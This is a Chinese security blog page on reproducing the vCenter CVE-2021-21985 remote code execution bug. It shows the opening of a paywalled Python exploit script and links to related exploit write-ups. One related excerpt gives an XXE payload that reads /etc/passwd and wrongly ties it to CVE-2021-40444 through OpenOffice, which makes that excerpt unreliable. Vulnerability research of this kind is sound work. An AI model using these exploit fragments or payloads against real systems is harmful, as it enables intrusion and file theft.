CVE-2021-21985 vCenter复现RCE

原创

已于 2024-01-14 00:57:23 修改 · 1.1k 阅读

9 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #网络安全

于 2024-01-10 11:35:34 首次发布

本文介绍了VMware vCenter的CVE-2021-21985远程代码执行漏洞，该漏洞源于Virtual SAN Health Check插件的输入验证缺失，允许未认证用户执行任意代码。复现情况显示，攻击者通过443端口构造特殊请求可实现目标机器上的任意代码执行。修复和利用详情可参考官方文档及360安全响应中心、GitHub开源项目。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞概述

VMware在5月25日发布了CVE-2021-21985vCenter远程代码执行漏洞通告及修复版本，该漏洞允许未经身份认证的用户调用任意Bean里的任意方法，当调用一个恶意方法时会导致任意代码执行。具体文章请查阅官方文档
在这里插入图片描述

复现情况

该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。
能通过443端口访问到vSphere Client(HTML5)的攻击者，可以构造特殊的请求包在目标机器上执行任意代码
在这里插入图片描述

利用情况和exp脚本如下:

import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def send_request(host,uri,json):
    try:
        req = requests.post(url=host+baseuri+uri,json=json,headers=headers,verify=False)
        return req.text
    except:
        return False
def check_false(request):
    if reques

最低0.47元/天解锁文章

200万优质内容无限畅学

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

tesla889

关注关注

6
点赞
踩
9

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞

战神/calmness的博客

02-25

1万+

目录描述据了解安装环境影响版本过程分析修复建议临时修补建议参考链接描述 2021年02月24日，某些平台监测到 Vmware官方发布了vCenter Server安全更新，修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations（vROps）中的一个远程代码执行漏洞（CVE-2021-21972）。VMware vCenter Server是美国威睿（VMware）公司的一套服务器和虚拟化管理软件。该.

漏洞复现-VMware Aria Operations for Networks命令注入漏洞（CVE-2023-20887）

最新发布

玄道的网安博客

08-13

1344

查看 /etc/nginx/sites-enabled 中的 Nginx 配置信息，可以看到对 /saasresttosaasservlet 的访问会被限制。通过 ps 命令，可以查看该进程的详细信息。这意味着攻击者对 /saas./resttosaasservlet 的请求将会被覆写并允许在本地 9090 端口访问 /./resttosaasservlet。针对 /saas./resttosaasservlet 的请求会被重定向到本地 9090 端口，可以查看本地 9090 端口上运行什么服务。

参与评论您还未登录，请先登录后发表或查看评论

CVE-2021-21985 VMware vCenter Server 远程代码执行

寒星的博客

06-08

1369

漏洞简介 Vmware vSphere Client是美国威睿（Vmware）公司的一个应用软件。 vSphere Client存在安全漏洞，该漏洞由于vCenter Server默认启用的虚拟SAN健康检查插件缺乏输入验证导致底层操作系统上以不受限制的权限执行命令。影响版本 VMware vCenter Server 7.0系列 < 7.0.U2b VMware vCenter Server 6.7系列 < 6.7.U3n VMware vCenter Server 6.5系列 < .

cve-2021-21985漏洞复现

whojoe的博客

06-09

6782

cve-2021-21985漏洞复现受影响的版本：漏洞复现后续利用参考文章受影响的版本： VMware vCenter Server 7.0系列 < 7.0.U2b VMware vCenter Server 6.7系列 < 6.7.U3n VMware vCenter Server 6.5系列 < 6.5 U3p VMware Cloud Foundation 4.x 系列 < 4.2.1 VMware Cloud Foundation 4.x 系列 < 3.10.2.1

VMware vCenter Server 任意文件上传漏洞复现 CVE-2021-22005

Ms08067安全实验室

11-06

6586

文章来源｜MS08067 “WEB攻防”知识星球本文作者：Taoing（WEB高级漏洞挖掘班讲师）追踪最新漏洞认准Web星球1、漏洞描述2、漏洞影响3、环境搭建4、漏洞复现5、修复方案...

Vmware CVE-2021-21972漏洞复现

New Wh1te Hat

03-16

2934

一、漏洞简介 vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。 vSphere Client（HTML5）在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求，写入webshell，控制服务器

CVE-2021-21972 vSphere Client RCE复现，附POC & EXP

qq_32660043的博客

02-25

2093

CVE-2021-21972 vSphere Client远程代码执行漏洞复现，附POC & EXP

VMware vCenter Server远程代码执行漏洞复现 CVE-2021-21972

热门推荐

Ms08067安全实验室

08-18

1万+

文章来源｜MS08067安全实验室本文作者：Taoing（WEB高级攻防班讲师）0x00 漏洞描述CVE-2021-21972 vmware vcenter的一个未任意位置，然后执行web...

CVE-2021-21972:CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE

03-08

CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE 准备 git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p ~ /.msf4/modules/exploits/multi/http cp * ~...

CVE-2021-21978:带回显版本的突破利用脚本

03-06

CVE-2021-21978 带回显版本的漏洞利用脚本，更简单的方式 0.进攻信息 VMware View Planner Web管理界面存在一个上传日志功能文件的入口，没有进行认证且写入的日志文件路径用户可控，通过覆盖上传日志功能文件log_upload_wsgi.py ，可以实现RCE 防御代码： def application ( environ , start_response ): logger . debug ( "application called" ) if environ [ 'REQUEST_METHOD' ] == 'POST' : post = cgi . FieldStorage ( fp = environ [ 'wsgi.input' ], environ = environ

(复现)CVE-2021-21985 Vmware vcenter远程代码执行RCE

daxi0ng的博客

06-30

5533

0x00 简介 vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机，使得 IT 管理员能够提高控制能力，简化入场任务，并降低 IT 环境的管理复杂性与成本。 0x01 漏洞概述该漏洞由于vCenter Server默认启用的插件Virtual SAN Heal...

CVE-2021-21985 漏洞复现

HEAVEN569的博客

08-12

4066

CVE-2021-21985 漏洞复现 1.漏洞简介该漏洞存在于vSphere Client（HTML5）中，由于vCenter Server中默认启用的Virtual SAN Health Check插件缺乏输入验证，拥有443端口网络访问权限的攻击者可以利用此漏洞在承载vCenter Server的操作系统上远程执行任意命令。需要注意的是，Virtual SAN Health Check插件在所有vCenter Server中都默认启用，任何能够通过网络访问vCenter Server的未经身份验证

CVE-2021-21985VMCenterSe远程代码执行

爱国小白帽

05-26

1145

报告编号：B6-2021-052602 报告来源：360CERT 报告作者：360CERT 更新日期：2021-05-26 1 漏洞简述 2021年05月26日，360CERT监测发现VMware官方发布了VMware vCenter Server远程代码执行漏洞的风险通告，该漏洞是由360 Noah Lab的安全研究员Ricter Z发现的。漏洞编号为CVE-2021-21985，漏洞等级：严重，漏洞评分：9.8。 VMware vCenter Server是VMware虚拟化管理平台，广泛的应用于企业私

漏洞情报 | VMware vCenter Server 远程代码执行漏洞(CVE-2021-21985)

爱国小白帽

05-28

5346

点击上方订阅话题第一时间了解漏洞威胁 0x01 漏洞描述 VMware vCenter Server是VMware虚拟化管理平台，广泛的应用于企业私有云内网中。通过使用vCenter，管理员可以轻松的管理上百台虚拟化环境。 2021年5月26日，360漏洞云监测到VMware官网发布安全公告。攻击者使用漏洞(CVE-2021-21985)可构造恶意请求，通过vCenter中默认开启的Virtual SAN Health Check插件造成远程代码执行漏洞。360漏洞云已经成功复现该漏洞。 0x02

vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)附POC

渗透之路，攻防之间皆学问

03-11

1万+

一. 漏洞介绍 vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。 2021年02月24日，某些平台监测到 Vmware官方发布了vCenter Server安全更新，修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperatio...

VMware vCenter Server任意文件上传漏洞（CVE-2021-22005）复现

qq_42036164的博客

04-03

1323

其中，最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005)，该漏洞存在于vCenter Server的分析服务中，其CVSSv3评分为 9.8。注：CVE-2021-22005会影响所有默认配置的 vCenter Server 6.7 和 7.0 部署，不会影响 vCenter Server 6.5。2021年9月21日，VMware发布安全公告，公开披露了vCenter Server中的19个安全漏洞，这些漏洞的CVSSv3评分范围为4.3-9.8。

Vmware vcenter未授权任意文件/RCE漏洞的复现与分析

weixin_46236101的博客

02-28

4811

0x01 背景 vSphere是VMware推出的虚拟化平台套件，包含ESXi、vCenter Server等一系列的软件。其中vCenter Server为 ESXi的控制中心，可从单一控制点统一管理数据中心的所有vSphere主机和虚拟机，使得IT管理员能够提高控制能力，简化入场任务，并降低IT环境的管理复杂性与成本。 vSphere Client（HTML5）在vCenter Server插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放443端口的服务器向vCenter Server发送

速修复！VMware vCenter Server 所有版本受严重的 RCE 漏洞影响

smellycat000的专栏

05-26

736

cve-2021-40444漏洞kali复现

04-06

由于cve-2021-40444漏洞的严重性，建议仅在合法授权的测试环境中进行复现和测试，不要在生产环境中尝试。以下是在Kali Linux中复现cve-2021-40444漏洞的步骤： 1. 安装 OpenOffice 打开终端并输入以下命令： ``` sudo apt update sudo apt install openoffice ``` 2. 创建恶意文档使用文本编辑器创建一个名为“恶意文档.odt”的OpenOffice文档，并将以下内容复制并粘贴到文档中： ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root> <Content>Some content</Content> <Image xlink:href="expect://id`xxe`"/> </root> ``` 这个文档包含一个外部实体xxe，它引用了/etc/passwd文件。攻击者可以通过xxe漏洞读取系统上的任何文件。 3. 打开恶意文档在终端中，输入以下命令以打开恶意文档： ``` soffice恶意文档.odt ``` OpenOffice将打开文档并加载其中的外部实体。攻击者可以在OpenOffice中使用“编辑”功能读取/操作系统文件。可以在终端中使用以下命令测试是否可以读取/etc/passwd文件： ``` cat /tmp/dump ``` 如果成功，将输出/etc/passwd文件的内容。 4. 修复漏洞为了防止cve-2021-40444漏洞的利用，建议升级OpenOffice或LibreOffice到最新版本，或者禁用OpenOffice的自动加载外部实体功能。